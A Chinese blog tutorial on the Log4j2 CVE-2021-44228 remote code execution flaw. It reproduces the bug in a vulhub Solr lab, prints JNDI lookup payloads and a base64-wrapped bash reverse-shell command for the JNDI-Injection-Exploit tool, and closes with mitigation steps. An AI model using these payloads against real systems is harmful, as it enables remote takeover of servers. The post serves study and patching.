Apache Log4j2(远程代码执行漏洞)

简介

        Apache Log4j2是一个基于Java的日志记录工具,该日志框架被大量用于业务系统开发,用来记录日志信息。

        Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,攻击者仅仅需要向目标服务器发送精心构造的恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务器任意命令执行,获取目标服务器权限。

        由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。可以预见,未来数月甚至数年该漏洞才能得到比较全面的修补。

        漏洞涉及CVE编号:CVE-2021-44228 CNVD-2021-95919

        漏洞影响版本:Apache log4j2 2.0 至 2.14.1 版本

        已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid等。

原理 

        org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

        org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到“${”后,Interpolator类以“:”号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

        目前网络上传播广泛的poc“${jndi:ldap://my-ip/exp}”,除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行,从而达成漏洞利用目的。

        漏洞大致利用流程:

        第一步:向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。

        第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。

验证

        1、下载、解压、重命名vulhub-master.zip为vulhub

        

        2、进入漏洞环境下,启动该环境。

cd vulhub/log4j/CVE-2021-44228

docker-compose up -d        启动环境

         3、访问目标靶场:http://your-ip:8983

                 

        4、在Dnslog.cn中生成接收信息的域名 。

                 

        5、提交dnslog payload 参数,进行访问。

                

 http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://nkvwta.dnslog.cn}

                 

        6、可以发现dnslog接收到返回的信息,证明存在log4j2漏洞。

                 

 攻击

        1、下载工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(在Tools目录下),下载地址:

 https://github.com/bkfish/Apache-Log4j-Learning/

        2、进入工具所在目录下,利用工具构造payload(your-ip指攻击机kali的ip,6969指的是kali需要监听的端口)

        java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,bash -i >& /dev/tcp/your-ip/6969 0>&1}|{base64,-d}|{bash,-i}" -A your-ip

        在使用时需要将红色部分进行base64加密。

        3、如图所示生成了两种协议的payload参数(得到rmi、ldap参数) 

                 

         4、开启kali监听6969端口

                

        5、利用生成的协议参数构造payload,进行攻击

?action=${jndi:rmi://192.168.220.147:1099/iixqsf}

                

        6、Kali机监听端口6969获取到目标权限。

                 

 修复

        1、升级至最新版本 :https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2​​​​​​​

        建议同时采用如下临时措施进行漏洞防范:

        1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

        2.在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

        3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

        4.部署使用第三方防火墙产品进行安全防护。

 参考资料:https://blog.csdn.net/qq_43798640/article/details/121951491

  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值